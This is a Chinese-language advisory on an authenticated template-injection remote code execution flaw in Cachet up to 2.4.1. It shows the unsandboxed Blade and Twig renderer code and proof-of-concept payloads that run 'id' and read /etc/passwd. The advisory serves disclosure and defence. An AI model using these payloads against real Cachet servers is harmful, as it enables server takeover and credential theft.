Cachet 服务器端模板注入RCE CVE-2026-69118
Cachet 是开源、自托管状态页面(Status Page)系统,基于 PHP + Laravel,搭建服务可用性监控公示页,替代商用 StatusPage.io。
一、基本情况
Cachet 基于 BSD-3 开源协议,可用于对外展示各服务组件运行状态,发布故障事件、计划维护公告,方便向用户同步服务故障信息。

Cachet 可用于搭建企业、互联网团队搭建对外公开的服务可用性公示页面,常用于云服务、网站、后台基础设施故障通知等各种场景。
栋科技漏洞库关注到 Cachet 2.4.1 及更早版本在事件模板渲染处服务端模板注入漏洞,追踪为CVE-2026-69118,CVSS 4.0评分8.7。
二、漏洞分析
CVE-2026-69118是 Cachet 相关版本中存在的经过身份验证的服务器端模板注入远程代码执行漏洞,已认证用户可执行任意PHP代码。
攻击者能够构造包含 Blade 指令或 Twig 过滤器的恶意事件模板;
当创建事件时,模板内载荷将执行系统命令,最终以 Web 服务进程权限实现远程代码执行。
该漏洞于 2026 年 5 月 23 日私下上报,但未收到开发团队任何回复:
https://github.com/cachethq/cachet/security/advisories/GHSA-q3xh-8qcr-jgw3
具体来说,任何已登录的 Cachet 用户(含非管理员账号)均可通过创建事件模板,
借助未做沙箱隔离的 Blade 或 Twig 模板渲染引擎实现服务器远程代码执行;攻击者新建事件触发模板解析逻辑即可完成利用。
模板内容会直接传入`Blade::render()`或无沙箱限制的`Twig\Environment`实例执行,能够运行任意 PHP 代码、调用任意 PHP 函数。
(一)漏洞详情
Cachet 为事件模板提供两套渲染引擎:Blade 与 Twig,二者在实现时均未启用沙箱安全隔离机制。
src/Renderers/BladeRenderer.php:
class BladeRenderer implements Renderer {
public function render(string $template, array $variables = []): string {
return Blade::render($template, $variables, deleteCachedView: true);
}
}
Blade::render() 将模板字符串编译并作为 Laravel Blade 模板执行,支持通过 @php 指令以及 {!! !!} 原始输出标签执行任意 PHP 代码。
src/Renderers/TwigRenderer.php:
class TwigRenderer implements Renderer {
public function render(string $template, array $variables = []): string {
$env = new Environment(new ArrayLoader([]));
$template = $env->createTemplate($template);
return $template->render($variables);
}
}
标准 Twig\Environment(非沙箱环境 `SandboxedEnvironment`)允许通过Twig过滤器调用PHP函数。
渲染逻辑在 src/Actions/Incident/CreateIncident.php 文件中触发(第20–26行以及第50–66行)。
public function handle(CreateIncidentRequestData $data): Incident
{
if (isset($data->template)) {
$template = IncidentTemplate::query()
->where('slug', $data->template)
->first();
$data = $data->withMessage($this->parseTemplate($template, $data));
}
// ...
}
private function parseTemplate(IncidentTemplate $template, CreateIncidentRequestData $data): string
{
$vars = array_merge($data->templateVars, [
'incident' => ['name' => $data->name, 'status' => $data->status, ...],
]);
return $template->render($vars);
}
—— 任意已认证用户均可登录。仅有 UserResource 包含显式权限判断:canAccess (): bool { return auth ()->user ()->isAdmin (); }。
IncidentTemplateResource 与 IncidentResource 不存在同类权限校验,因此非管理员用户通过 Filament 面板创建、管理模板与事件。
在 API 接口层面,IncidentTemplateController::store () 与 IncidentController::store () 接口,
分别需要 incident-templates.manage、incidents.manage 令牌权限。
未指定权限范围创建的 API 令牌默认取值为 ['*'](通配符),拥有全部权限。
(二)受影响文件:
src/Renderers/BladeRenderer.php(Blade 引擎漏洞根源)
src/Renderers/TwigRenderer.php(Twig 引擎漏洞根源)
src/Actions/Incident/CreateIncident.php,第 20–26 行、50–66 行(触发模板渲染逻辑)
src/Filament/Resources/IncidentTemplates/IncidentTemplateResource.php(缺失访问控制)
src/Filament/Resources/Incidents/IncidentResource.php(缺失访问控制)
三、POC概念验证
前置条件:运行中的 Cachet 实例;任意已认证账号(无需管理员权限)。
(一)通过 Filament 管理面板(Blade 引擎)利用流程:
1、使用任意已认证账号登录 Cachet 后台。
2、进入事件模板页面,新建模板:
名称:pwn
别名:pwn
渲染引擎:blade
模板内容:@php system('id'); @endphp
3、进入事件页面,新建事件:
名称:test
模板:pwn
4、服务器将渲染该模板并执行 system('id'),命令执行结果会展示在事件信息中。
(二)通过 API 方式利用(Blade 引擎):
管理员已设置登录后刷新可查看预期现象:响应JSON内的事件信息中包含id命令执行输出。
(三)Twig引擎概念验证(读取文件):
模板内容使用Twig source()函数:
{{ source('/etc/passwd') }}
通过 Twig 实现命令执行的载荷:
{{ ['id']|filter('system') }}
(三)漏洞影响
任意已认证用户(包含非管理员账号,is_admin = false)均可使用 Web 服务进程权限执行任意操作系统命令。
攻击者可完全控制 Cachet 服务器:任意文件读写、窃取凭证、横向渗透以及实施拒绝服务攻击。
Cachet 常对外部署作为状态监控页面,部署环境中往往并存其他敏感内部服务。
受影响版本:提交哈希 d30447a
(漏洞影响持续至 2.4.1 版本)
四、影响范围
Cachet ≤ 2.4.1
五、修复建议
Cachet>2.4.1
六、参考链接
管理员已设置登录后刷新可查看